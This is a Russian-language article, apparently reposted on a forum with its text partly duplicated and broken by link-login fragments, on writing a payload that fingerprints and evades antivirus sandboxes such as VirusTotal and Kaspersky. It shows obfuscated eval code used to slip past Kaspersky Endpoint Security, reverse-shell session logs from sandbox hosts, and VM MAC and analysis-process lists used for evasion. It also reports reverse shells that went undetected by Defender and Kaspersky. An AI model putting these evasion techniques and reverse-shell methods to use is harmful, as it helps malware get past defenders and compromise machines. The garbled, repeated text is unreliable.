stihl не предоставил(а) никакой дополнительной информации.
Как устроены антивирусные песочницы, известно лишь понаслышке: вендоры надежно хранят свои секреты. Что мы увидим, если попытаемся заглянуть к ним под капот? В этой статье — результаты эксперимента по исследованию сред анализа вредоносного ПО, включая VirusTotal. Мы написали скрипт для обхода песочниц и получили reverse shell: теперь мы точно знаем, что там внутри.
Однажды мы решили провести тестовую фишинговую атаку в нашей организации, чтобы поднять уровень осведомленности сотрудников. В роли настоящего «хакера» я решил построить всю инфраструктуру сам. Зарегал поддельный домен, поднял свой почтовый сервер, сервер для приема отстука. И тут пришло время писать клиентскую часть, а именно ту полезную нагрузку, которая будет отправляться пользователю.
Для получения исполняемого файла я использовал связку Python + PyInstaller. Идея состояла в том, чтобы собрать минимум информации о хосте и понять, кому из сотрудников он принадлежит. Основной информацией стал IP-адрес машины в локальной сети предприятия, поскольку он никогда не меняется и по нему можно выяснить, кто же все‑таки запустил «вредонос».
На машинах организации, которую мы тестировали, стоит антивирусное решение от компании Kaspersky — Kaspersky Endpoint Security. Для его обхода я использовал возможность Python выполнять код, который передается в виде строки. Приведу пример.
Вот исходный код на Python для получения OS type:
А так выглядит обфусцированный код:
Реализация несложная. Сначала мы шифруем все строки кода с использованием функции шифрования, затем используем их в итоговом файле, из которого будет получен исполняемый файл. В нем содержится код с такой структурой:
Так вот, еще до того, как я выгрузил файл на сервер, я уже начал получать отстуки от непонятных для меня хостов. Вот пример одного из таких:
Сразу бросается в глаза странное имя пользователя, как будто бы сгенерированное. Единственная «утечка» могла произойти с машины, на которой я тестировал обход антивируса Kaspersky. Тогда я не стал обращать внимания на это, поскольку антивирус все равно не ругался на мой файл. И я благополучно забил на этот факт до недавнего времени, пока не заинтересовался обходом песочниц.
или Зарегистрируйся.
Для экспериментов использовалась машина с белым IP. Я скомпилировал файл, и антивирус после пары подключений его нейтрализовал. А я стал ждать. И... ничего, я так и не получил коннекта.
Но при загрузке программы на VirusTotal виртуальные среды все‑таки позволяют взаимодействовать с хостом после подключения:
Mode LastWriteTime Length Name
d----- 3/31/2022 5:04 AM .idlerc
d----- 1/6/2023 10:44 AM .ms-ad
d-r--- 3/25/2022 4:09 PM Contacts
d-r--- 3/25/2022 6:25 PM Desktop
d-r--- 3/25/2022 4:09 PM Documents
d-r--- 5/5/2025 8:45 AM Downloads
d-r--- 3/25/2022 4:09 PM Favorites
d-r--- 3/25/2022 4:09 PM Links
d-r--- 3/25/2022 4:09 PM Music
d-r--- 3/25/2022 4:09 PM Pictures
d-r--- 3/25/2022 4:09 PM Saved Games
d-r--- 3/25/2022 4:09 PM Searches
d-r--- 3/25/2022 4:09 PM Videos
PS C:\Users\azure> Get-Process
Get-Process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
115 9 15448 15812 0.64 932 0 audiodg
31 5 1080 3348 0.02 2168 1 conhost
35 5 1140 3748 0.02 2444 1 conhost
31 5 1080 3344 0.00 2460 1 conhost
31 5 1076 3348 0.03 2560 1 conhost
31 5 1076 3344 0.02 2648 1 conhost
31 5 1076 3344 0.00 2668 1 conhost
31 5 1080 3312 0.02 2788 1 conhost
31 5 1080 3316 0.00 2812 1 conhost
434 11 1840 4080 0.86 328 0 csrss
325 15 2876 5900 1.19 384 1 csrss
...
79 7 1416 5280 0.06 2056 0 unsecapp
81 10 1460 4728 0.64 376 0 wininit
112 9 2692 7520 1.77 424 1 winlogon
182 11 3532 9852 0.13 584 0 WmiPrvSE
124 9 2280 6820 0.05 1836 0 WmiPrvSE
133 9 2464 7236 0.14 2744 0 WmiPrvSE
439 32 9896 27188 0.83 2484 0 wmpnetwk
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/5/2025 2:59 PM EEGWXUHVUG
d----- 3/5/2025 2:59 PM EFOYFBOLXA
d----- 3/5/2025 2:59 PM EOWRVPQCCS
d----- 3/5/2025 2:59 PM EWZCVGNOWT
`...
-a---- 3/5/2025 2:59 PM 1026 PWCCAWLGRE.pdf
-a---- 3/5/2025 2:59 PM 1026 QCFWYSKMHA.jpg
-a---- 5/6/2025 12:56 AM 49495 reverse.exe
-a---- 3/5/2025 2:59 PM 1026 SFPUSAFIOL.xlsx
-a---- 3/5/2025 2:59 PM 1026 SUAVTZKNFL.png
В итоге я решил использовать тактику, как при проведении фишинговой атаки, а именно — использовать скрипт для сбора информации о системе и отправки данных на сервер.
Понятно, что тех данных, которые я собирал в изначальном скрипте, явно маловато, поэтому я усовершенствовал программу, и теперь она собирает следующие параметры:
Также я собирал информацию о системе c помощью команд PowerShell, используя модуль subprocess:
Бросается в глаза, что у некоторых хостов явно проблемы с CPU и MEM. Также мы видим, что некоторые машины крайне недолго находятся в Uptime, а у других слишком мало запущенных процессов. Все это косвенно может свидетельствовать о виртуализации. Данных от песочниц Kaspersky я не получил: антивирус ни в какую не хотел считать мой файл зловредным.
В итоге я решил проверить свою программу с помощью динамического анализа на их сайте Для просмотра ссылки Войдиили Зарегистрируйся. И как оказалось, исполняемый файл, полученный с использованием связки Python 3.12 + PyInstaller, просто не может запуститься в их песочнице.
Для просмотра ссылки Войдиили Зарегистрируйся
И даже с учетом того, что файл содержит reverse shell, анализ показывает, что файл безопасен.
Для просмотра ссылки Войдиили Зарегистрируйся
В общем, я вернулся на Python 3.7 и попробовал писать код на нем. Теперь программа анализировалась нормально. Вот данные, которые я получил.
Но получить с хостов данные, похожие на те, что приходили при проведении тестовой фишинговой атаки, мне не удалось. И только когда я оставил одни команды PowerShell, мне наконец прилетели отстукивания, которые были схожи, по крайней мере hostname и username напоминали те, что я увидел в первый раз. К сожалению, команда Get-Process почему‑то не отработала, и информации о количестве запущенных процессов мне получить не удалось.
Как видно, эти хосты тоже страдают от нехватки CPU и MEM.
Теперь копаем глубже: нам нужны MAC-адреса. По ним также можно понять, что программа запущена в виртуальной среде. На этом ловятся хосты WIN-\*. Вот MAC-адреса, которые будем искать:
А вот процессы, по которым можно понять, что скрипт запущен в виртуальной среде или анализируется в дебаггере:
Kaspersky:
С сайта анализатора:
Файлы, аналогичные файлам при проведении тестового фишинга:
VirusTotal:
Данные отсутствуют (команда не выполнилась)
Как видно, есть повторяющиеся значения, а также имена и описания, похожие на дефолтные или сгенерированные. Дополнительно к выводу о том, что при проведении тестирования по фишингу мне прилетали отстуки от Kaspersky, говорят одинаковые VEN и DEV, полученные с сайта анализатора и откуда‑то еще (откуда прилетают странные отстукивания со странных хостов, я так и не понял).
В итоге я получил следующие имена виртуальных адаптеров:
Параметр PNPDeviceID указывает идентификатор логического устройства Win32 Plug and Play. Затем я попытался найти инфу о том, какие идентификаторы используются в виртуальных средах для видеокарт:
По ним мы будем определять наличие виртуальной среды. Теперь взглянем на диски:
Как видно, встречаются лишь маленькие и часто повторяющиеся значения.
В нашем случае тоже есть параметры, по которым наверняка можно определить, что программа запущена в виртуальной среде: виртуальный видеоадаптер, игнорирование функций sleep, процессы, относящиеся к виртуализации. А есть те, по которым можно сделать косвенные выводы, например количество ядер процессора или число запущенных процессов. Думаю, логика понятна.
Теперь составим таблицу с оценочными тестами.
Полный код я Для просмотра ссылки Войдиили Зарегистрируйся. Основой программы будет невидимое окно. Идею я взял из видео Для просмотра ссылки Войди или Зарегистрируйся с канала First Steps.
Вот часть кода, где создается окно и вызывается функция проверки:
Если проверка прошла успешно и мы не в виртуальной машине, функция check_box завершит работу программы после отработки полезной нагрузки. В противном случае программа перейдет к бесконечному сложению чисел. Вот функция check_box:
В этой части кода последовательно выполняются проверки, и если набирается семь или больше баллов, то функция возвращает 1 и код переходит к бесконечному складыванию чисел. Если же проверки не обнаружили виртуальную среду, то программа переходит к функции Tapping (аналог полезной нагрузки), которая получает Hostname системы и отправляет его POST-запросом мне на сервер, чтобы я мог определить, в какой виртуальной среде по тем или иным причинам отработала полезная нагрузка.
На сервере я должен получить примерно такую картину:
или Зарегистрируйся».
Вот пример для функции GetSystemInfo. Если скомпилировать проект без обфускации, то можно увидеть следующее:
Теперь компилируем проект и смотрим, осталось ли упоминание о нашей функции в скомпилированном файле:
Как видно, осталось только измененное наименование функции, далее мы его тоже заменим, но будем делать это в автоматическом режиме с помощью скрипта на Python.
Проксируем таким образом все функции, которые используем в проекте. Прототипы и сами функции лежат в файле proxy_funck.с.
Теперь нужно изменить наименования. Для этого я написал простой скрипт на Python, и теперь обфусцированная функция проксирования ProxyGetSystemInfo выглядит так:
Смотрим, есть ли какое‑то упоминание о GetSystemInfo в файле:
Отлично. На самом деле обфусцировать переменные, которые находятся внутри функций (то есть локальные), нет смысла, они все равно не отображаются при статическом анализе файла. Главное — обфусцировать имена функций, а также строковые данные.
Строковые данные мы будем сохранять как массивы char, таким образом они не сохраняются, как обычные строки.
Было:
Стало:
В том, что не будет ложноположительных результатов, уверенности не было с самого начала.
Для просмотра ссылки Войдиили Зарегистрируйся
Начнем c реальных машин. К сожалению, у меня не так много тестовых компьютеров, поэтому я провел всего два теста. При запуске, как и должно было получиться, прилетели отстуки со следующими именами:
А теперь реальные тесты!
или Зарегистрируйся.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
А вот и проверка в песочницах.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Как видно, те функции, которые мы проксировали из DLL, здесь не засветились.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
И тут моего IP нет (это трафик из Microsoft Sysinternals).
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Статический анализ также не выявил, какие функции Win32 API использовались в программе.
Для просмотра ссылки Войдиили Зарегистрируйся
Запросов в интернет тоже не было.
Для просмотра ссылки Войдиили Зарегистрируйся
В итоге я не получил ни одного запроса. Можно сделать вывод, что песочницы были обнаружены и программа занялась подсчетом чисел. Но мою программу сложно назвать точно работающей, потому как выборка на реальных физических машинах слишком мала, чтобы уверенно говорить о результате. Например, изначально при обнаружении виртуального MAC-адреса я начислял семь баллов, но потом изменил на четыре, так как в реальной машине может присутствовать виртуальный адаптер Hyper-V Virtual Ethernet Adapter. Но все же результатом я доволен.
Однако у нас не использовалось никакой реально зловредной полезной нагрузки. Как насчет сокрытия чего‑то «такого»? Для примера возьмем reverse shell с сайта Для просмотра ссылки Войдиили Зарегистрируйся, а именно код для Windows на C. Модифицирую его, чтобы в случае, если программа не сможет подключиться, она предприняла еще одну попытку позже:
Этот код я уже светил на VirusTotal и Kaspersky, поэтому он должен детектиться как зловредный.
Все функции мы также проксируем, строковые переменные видоизменяем в массивы. Теперь, если виртуальная среда не будет обнаружена, должен прилететь POST-запрос с Hostname машины и за ним устанавливаться подключение reverse shell.
Так выглядит подключение с реальной машины.
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
А теперь протестируем программы с включенным антивирусом на компьютере.
Для тестов у меня их будет всего два: Microsoft Defender и Kaspersky. Для начала протестируем с Defender’ом.
Для просмотра ссылки Войдиили Зарегистрируйся
Запускаю скрипт и жду подключения. И я его получил!
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь делаем то же самое, только с Kaspersky Endpoint Security.
Для просмотра ссылки Войдиили Зарегистрируйся
И он тоже промолчал: удаленная машина подключилась к серверу.
Для просмотра ссылки Войдиили Зарегистрируйся
Но частично функции обхода песочниц антивирус все‑таки обнаружил.
Для просмотра ссылки Войдиили Зарегистрируйся
Поэтому я решил зашифровать строки c использованием XOR и посмотреть, что будет. Например, так теперь выглядит проксирование функции GetSystemInfo:
Полученный Для просмотра ссылки Войдиили Зарегистрируйся обнадеживает.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Ушло упоминание об anti-analysis.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
А вот Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся
Ни один запрос так и не прилетел. В общем, Symantec обойти тоже не удалось. Как я понял, это широко используемое за рубежом антивирусное ПО, но про него мне вообще почти ничего не известно. Также Deep Instinct, SecureAge и Elastic пометили нагрузку как зловредную. Но полученный результат лучше, чем без шифрования строк.
Однажды мы решили провести тестовую фишинговую атаку в нашей организации, чтобы поднять уровень осведомленности сотрудников. В роли настоящего «хакера» я решил построить всю инфраструктуру сам. Зарегал поддельный домен, поднял свой почтовый сервер, сервер для приема отстука. И тут пришло время писать клиентскую часть, а именно ту полезную нагрузку, которая будет отправляться пользователю.
Для получения исполняемого файла я использовал связку Python + PyInstaller. Идея состояла в том, чтобы собрать минимум информации о хосте и понять, кому из сотрудников он принадлежит. Основной информацией стал IP-адрес машины в локальной сети предприятия, поскольку он никогда не меняется и по нему можно выяснить, кто же все‑таки запустил «вредонос».
warning
Пример информации, которая поступала на мой сервер, если кто‑то запускал исполняемый файл:Статья написана в исследовательских целях, имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Использование или распространение ПО без лицензии производителя может преследоваться по закону.
Код:
Hostname: <hostname>
Version: <version_os>
Release: <number_release>
Architecture: <architecture>
Type machine: <type>
Network name: <network_name>
User: <run_user>
OS type: <windows/linux>
Local_ip: <local_ip>
На машинах организации, которую мы тестировали, стоит антивирусное решение от компании Kaspersky — Kaspersky Endpoint Security. Для его обхода я использовал возможность Python выполнять код, который передается в виде строки. Приведу пример.
Вот исходный код на Python для получения OS type:
os_type = platform.system()
А так выглядит обфусцированный код:
Код:
command_crypt = b'k\xb0\x0fp4\x03\xe9D\xe0\x01\xd5Z}\xc1\x85\xa42\xc56\x9f\xc0\x81\xaf\t\xe5\x08k!\x81\xd5\xcc\xf0'
command_decrypt = func_decrypt(command_crypt, key_decrypt)
os_type = eval(command_decrypt)
Реализация несложная. Сначала мы шифруем все строки кода с использованием функции шифрования, затем используем их в итоговом файле, из которого будет получен исполняемый файл. В нем содержится код с такой структурой:
- Зашифрованная строка кода.
- Дешифровка зашифрованной строки кода.
- Ее выполнение.
Так вот, еще до того, как я выгрузил файл на сервер, я уже начал получать отстуки от непонятных для меня хостов. Вот пример одного из таких:
Код:
Hostname: DESKTOP-HESL6H8
Version: 10.0.18362
Release: 10
Architecture: ('64bit', 'WindowsPE')
Type machine: AMD64
Network name: DESKTOP-HESL6H8
User: G58gQ
OS type: Windows
Local_ip: 10.16.202.175
Сразу бросается в глаза странное имя пользователя, как будто бы сгенерированное. Единственная «утечка» могла произойти с машины, на которой я тестировал обход антивируса Kaspersky. Тогда я не стал обращать внимания на это, поскольку антивирус все равно не ругался на мой файл. И я благополучно забил на этот факт до недавнего времени, пока не заинтересовался обходом песочниц.
Идея по сбору информации о песочницах
Предположительно тогда я получал отстуки из песочниц Kaspersky, которые анализировали файл с неизвестной сигнатурой. Поэтому я решил: раз приходят запросы, значит, у песочниц есть доступ в интернет и он не блокируется. Если усовершенствовать скрипт с reverse shell, чтобы не ловиться просто по сигнатуре, можно попробовать полазить по такой песочнице. Основу для реализации этой идеи я взял с сайта Для просмотра ссылки ВойдиДля экспериментов использовалась машина с белым IP. Я скомпилировал файл, и антивирус после пары подключений его нейтрализовал. А я стал ждать. И... ничего, я так и не получил коннекта.
Но при загрузке программы на VirusTotal виртуальные среды все‑таки позволяют взаимодействовать с хостом после подключения:
Код:
root@hostname:~# nc -lvnp 8080
Listening on 0.0.0.0 8080
Connection received on 34.86.36.138 49171
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Users\azure\Downloads>
PS C:\Users\azure\Downloads> dir
dir
PS C:\Users\azure\Downloads> cd ..
cd ..
PS C:\Users\azure> dir
dir
Directory: C:\Users\azure
Mode LastWriteTime Length Name
d----- 3/31/2022 5:04 AM .idlerc
d----- 1/6/2023 10:44 AM .ms-ad
d-r--- 3/25/2022 4:09 PM Contacts
d-r--- 3/25/2022 6:25 PM Desktop
d-r--- 3/25/2022 4:09 PM Documents
d-r--- 5/5/2025 8:45 AM Downloads
d-r--- 3/25/2022 4:09 PM Favorites
d-r--- 3/25/2022 4:09 PM Links
d-r--- 3/25/2022 4:09 PM Music
d-r--- 3/25/2022 4:09 PM Pictures
d-r--- 3/25/2022 4:09 PM Saved Games
d-r--- 3/25/2022 4:09 PM Searches
d-r--- 3/25/2022 4:09 PM Videos
PS C:\Users\azure> Get-Process
Get-Process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
115 9 15448 15812 0.64 932 0 audiodg
31 5 1080 3348 0.02 2168 1 conhost
35 5 1140 3748 0.02 2444 1 conhost
31 5 1080 3344 0.00 2460 1 conhost
31 5 1076 3348 0.03 2560 1 conhost
31 5 1076 3344 0.02 2648 1 conhost
31 5 1076 3344 0.00 2668 1 conhost
31 5 1080 3312 0.02 2788 1 conhost
31 5 1080 3316 0.00 2812 1 conhost
434 11 1840 4080 0.86 328 0 csrss
325 15 2876 5900 1.19 384 1 csrss
...
79 7 1416 5280 0.06 2056 0 unsecapp
81 10 1460 4728 0.64 376 0 wininit
112 9 2692 7520 1.77 424 1 winlogon
182 11 3532 9852 0.13 584 0 WmiPrvSE
124 9 2280 6820 0.05 1836 0 WmiPrvSE
133 9 2464 7236 0.14 2744 0 WmiPrvSE
439 32 9896 27188 0.83 2484 0 wmpnetwk
Код:
PS C:\Users\azure> exit
root@hostname:~# nc -lvnp 8080
Listening on 0.0.0.0 8080
Connection received on 34.45.100.89 49681
ls
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Users\Bruno\Desktop> ls
Directory: C:\Users\Bruno\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/5/2025 2:59 PM EEGWXUHVUG
d----- 3/5/2025 2:59 PM EFOYFBOLXA
d----- 3/5/2025 2:59 PM EOWRVPQCCS
d----- 3/5/2025 2:59 PM EWZCVGNOWT
`...
-a---- 3/5/2025 2:59 PM 1026 PWCCAWLGRE.pdf
-a---- 3/5/2025 2:59 PM 1026 QCFWYSKMHA.jpg
-a---- 5/6/2025 12:56 AM 49495 reverse.exe
-a---- 3/5/2025 2:59 PM 1026 SFPUSAFIOL.xlsx
-a---- 3/5/2025 2:59 PM 1026 SUAVTZKNFL.png
PS C:\Users\Bruno\Desktop> exit
В итоге я решил использовать тактику, как при проведении фишинговой атаки, а именно — использовать скрипт для сбора информации о системе и отправки данных на сервер.
Понятно, что тех данных, которые я собирал в изначальном скрипте, явно маловато, поэтому я усовершенствовал программу, и теперь она собирает следующие параметры:
Код:
OS type:
Version:
Release:
Architecture:
Type machine:
Network name:
User:
Hostname:
Local ip:
System Date:
System boot time:
Uptime:
System hardware:
System File:
Directory: C:/Windows:
Directory: C:/Program Files:
Directory: C:/Program Files (x86):
Directory: C:/ProgramData:
Directory: C:/Windows/System32:
Directory: C:/Windows/SysWOW64:
Directory: C:/Windows/Temp:
Directory: C:/Users:
User File:
User directory:
Directory: Downloads:
Directory: Desktop:
Directory: Pictures:
Directory: Videos:
Directory: Music:
Directory: AppData\Local\Temp:
Process Data:
Также я собирал информацию о системе c помощью команд PowerShell, используя модуль subprocess:
Код:
systeminfo
ipconfig /all
net user
Get-WmiObject Win32_ComputerSystem
Get-Service
Get-WmiObject Win32_VideoController
Get-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | Select-Object `DeviceID, @{Name="Size(GB)";Expression={"{0:N2}" -f ($.Size / 1GB)}}, @{Name="Free(GB)";Expression={"{0:N2}" -f ($.FreeSpace / 1GB)}},@{Name="Used(GB)";Expression={"{0:N2}" -f (($.Size - $.FreeSpace) / 1GB)}}
www
Пока скрипты крутились в дробилках песочниц, я поискал в интернете информацию об обходе этих самых песочниц. В итоге мне понравились эти статьи:- Для просмотра ссылки Войди
или Зарегистрируйся - Для просмотра ссылки Войди
или Зарегистрируйся - Для просмотра ссылки Войди
или Зарегистрируйся
Анализ полученной информации
Ниже приведена таблица с данными, по которой мы будем в первую очередь определять среду.Environment | Hostname | OS Version | CPU count | Total memory | Uptime (day hh.mm.ss) | Process count |
---|---|---|---|---|---|---|
Real PC | 10 | 4 | 32 | 1 day 02:16:12 | 192 | |
Real PC | 10 | 6 | 16 | 13:51:48 | 275 | |
VirTotal | WIN-5E07COS9ALR | 10 | 1 | 1 | 0:01:04 | 56 |
VirTotal | WIN-QIUREVVK5FL | 7 | 1 | 8 | 0:01:41 | 60 |
VirTotal | 715575 | 10 | 4 | 8 | 2:06:38 | 189 |
VirTotal | 061544 | 10 | 2 | 8 | 2:03:42 | 161 |
VirTotal | 424505 | 10 | 4 | 8 | 1:46:43 | 167 |
VirTotal | azure-PC | 7 | 2 | 2 | 0:03:57 | 58 |
VirTotal | azure-PC | 7 | 2 | 2 | 0:04:11 | 55 |
VirTotal | WALKER-PC | 7 | 2 | 1.5 | 0:01:25 | 54 |
VirTotal | 00900BC83803 | 10 | 2 | 2 | 0:50:12 | 52 |
VirTotal | COMPUTER-9GV0UZ | 10 | 2 | 4 | 0:08:47 | 103 |
VirTotal | MZLTRR848050884 | 10 | 1 | 2 | 2:41:42 | 51 |
В итоге я решил проверить свою программу с помощью динамического анализа на их сайте Для просмотра ссылки Войди
Для просмотра ссылки Войди
И даже с учетом того, что файл содержит reverse shell, анализ показывает, что файл безопасен.
Для просмотра ссылки Войди
В общем, я вернулся на Python 3.7 и попробовал писать код на нем. Теперь программа анализировалась нормально. Вот данные, которые я получил.
Environment | Hostname | OS Version | CPU count | Total memory | Uptime (day hh.mm.ss) | Process count |
---|---|---|---|---|---|---|
Real PC | 10 | 4 | 32 | 1 day 02:16:12 | 192 | |
Real PC | 10 | 6 | 16 | 13:51:48 | 275 | |
Kas | ELZ-8K4JW2UL3QY | 10 | 2 | 4 | 0:08:16 | 100 |
Kas | art-PC | 7 | 2 | 1 | 0:04:15 | 44 |
Host | Hostname | OS Version | CPU count | Total memory | Uptime (day hh.mm.ss) | Process count |
---|---|---|---|---|---|---|
Real PC | 4 | 32 | 1 day 02:16:12 | 192 | ||
Real PC | 6 | 16 | 13:51:48 | 275 | ||
Kas | DESKTOP-09L7V90 | 10 | 1 | 2 | 1:35:42 | ? |
Kas | DESKTOP-NL2CM8W | 10 | 1 | 2 | 2:38:52 | ? |
Kas | DESKTOP-WSP0LAK | 10 | 1 | 2 | 3:44:45 | ? |
Теперь копаем глубже: нам нужны MAC-адреса. По ним также можно понять, что программа запущена в виртуальной среде. На этом ловятся хосты WIN-\*. Вот MAC-адреса, которые будем искать:
Код:
{{0x00, 0x50, 0x56}, "VMware ESX 3, Server, Workstation, Player"},
{{0x00, 0x0C, 0x29}, "VMware ESX 3, Server, Workstation, Player"},
{{0x00, 0x05, 0x69}, "VMware ESX 3, Server, Workstation, Player"},
{{0x00, 0x1с, 0x14}, "VMware ESX 3, Server, Workstation, Player"},
{{0x00, 0x03, 0xff}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x0d, 0x3a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x50, 0xf2}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x7c, 0x1e, 0x52}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x12, 0x5a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x15, 0x5d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x17, 0xfa}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x28, 0x18, 0x78}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x7c, 0xed, 0x8d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x1d, 0xd8}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x22, 0x48}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x25, 0xae}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x60, 0x45, 0xbd}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0xdc, 0xb4, 0xc4}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x1c, 0x42}, "Parallels Desktop, Workstation, Server, Virtuozzo"},
{{0x00, 0x0f, 0x4b}, "Virtual Iron 4"},
{{0x00, 0x16, 0x3e}, "Red Hat Xen | Oracle VM | XenSource | Novell Xen"},
{{0x08, 0x00, 0x27}, "Sun xVM VirtualBox"},
А вот процессы, по которым можно понять, что скрипт запущен в виртуальной среде или анализируется в дебаггере:
Код:
// Иконка VirtualBox в трее гостевой ОС
TEXT("VBoxTray.exe"),
// Служба VirtualBox Guest Additions
TEXT("VBoxService.exe"),
TEXT("vboxservice.exe"),
// Драйвер VirtualBox Guest
TEXT("vboxguest.sys"),
// VMware Tools
TEXT("vmtoolsd.exe"),
TEXT("vmwaretray.exe"),
TEXT("vmwareuser.exe"),
TEXT("vmsrvc.exe"),
TEXT("vmhgfs.sys"),
TEXT("vmware-vmx.exe"),
TEXT("vmware-authd.exe"),
// Hyper-V
TEXT("vmicvss.exe"),
// TEXT("vmms.exe"), // Был обнаружен в реальной машине, закомментировано
TEXT("vmmem.exe"),
TEXT("vmwp.exe"),
// QEMU
TEXT("qemu-system-x86_64.exe"),
TEXT("qemu-vm-guest.exe"),
// Parallels
TEXT("prl_vm_app.exe"),
TEXT("prl_tools.exe"),
TEXT("prl_cc.exe"),
TEXT("SharedIntApp.exe"),
// Драйвер мыши виртуальной машины
TEXT("vmmouse.sys"),
// Xen Virtualization environment
TEXT("xenservice.exe"),
// Windows Sandbox
TEXT("WindowsSandbox.exe"),
// Sandboxie
TEXT("SandboxieRpcSs.exe"),
TEXT("SandboxieDcomLaunch.exe"),
TEXT("SbieSvc.exe"),
TEXT("SbieCtrl.exe"),
// Comodo Sandbox
TEXT("SxIn.exe"),
// Process Monitor — анализ поведения
TEXT("procmon.exe"),
// Обнаружен в процессах одной из песочниц VirusTotal
TEXT("VmRemoteGuest.exe"),
// Windows Debugging Tools
TEXT("ntsd.exe"),
TEXT("windbg.exe"),
// IDA Pro
TEXT("idaq.exe"),
TEXT("idag.exe"),
// x64dbg/x32dbg
TEXT("x64dbg.exe"),
TEXT("x32dbg.exe"),
И тут меня заинтересовал вывод команды
Get-WmiObject Win32_VideoController
А именно вот такие строки:
Name
Description
PNPDeviceID
Собираю информацию с хостов:
Real PC:
Description : AMD Radeon(TM) Vega 10 Graphics
PNPDeviceID : PCI\VEN_1002&DEV_15DD&SUBSYS_512217AA&REV_D0\4&35FEB52A&0&0041
Description : Intel(R) UHD Graphics 730
PNPDeviceID : PCI\VEN_8086&DEV_4692&SUBSYS_D0001458&REV_0C\3&11583659&0&10
Kaspersky:
С сайта анализатора:
Код:
Hostname: ELZ-8K4JW2UL3QY
OS: Windows 10
Name : Microsoft Basic Display Adapter
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_1AE0&DEV_A001&SUBSYS_00011AE0&REV_01\3&13C0B0C5&0&18
Hostname: art-PC
OS: Windows 7
Name : Standard VGA Graphics Adapter
Description : Standard VGA Graphics Adapter
PNPDeviceID : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_02\3&1
Файлы, аналогичные файлам при проведении тестового фишинга:
Код:
Hostname: DESKTOP-09L7V90
OS: Windows 10
Name : Microsoft Basic Display Adapter
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_00\3&13C0B0C5&0&10
Hostname: DESKTOP-NL2CM8W
OS: Windows 10
Name : Microsoft Basic Display Adapter
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_00\3&13C0B0C5&0&10
Hostname: DESKTOP-WSP0LAK
OS: Windows 10
Name : Microsoft Basic Display Adapter
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_00\3&13C0B0C5&0&10
VirusTotal:
Код:
Hostname: WIN-5E07COS9ALR
OS: Windows 10
Name : Microsoft Hyper-V Video
Description : Microsoft Hyper-V Video
PNPDeviceID : VMBUS\{DA0A7802-E377-4AAC-8E77-0558EB1073F8}\{5620E0C7-8062-4DCE-AEB7-520C7EF76171}
Hostname: WIN-QIUREVVK5FL
OS: Windows 7
Name : Microsoft Hyper-V Video
Caption : Microsoft Hyper-V Video
PNPDeviceID : VMBUS\{DA0A7802-E377-4AAC-8E77-0558EB1073F8}\{5620E0C7-8062-4DCE-AEB7-520C7EF76171}
Hostname: 715575
OS: Windows 10
Name : AD59MKMM
Description : CMPMV5
PNPDeviceID : PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78
Hostname: 061544
OS: Windows 10
Данные отсутствуют (команда не выполнилась)
Код:
Hostname: 424505
OS: Windows 10
Name : X9387726
Description : AE27H7US
NPDeviceID : PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78
Hostname: azure-PC
OS: Windows 7
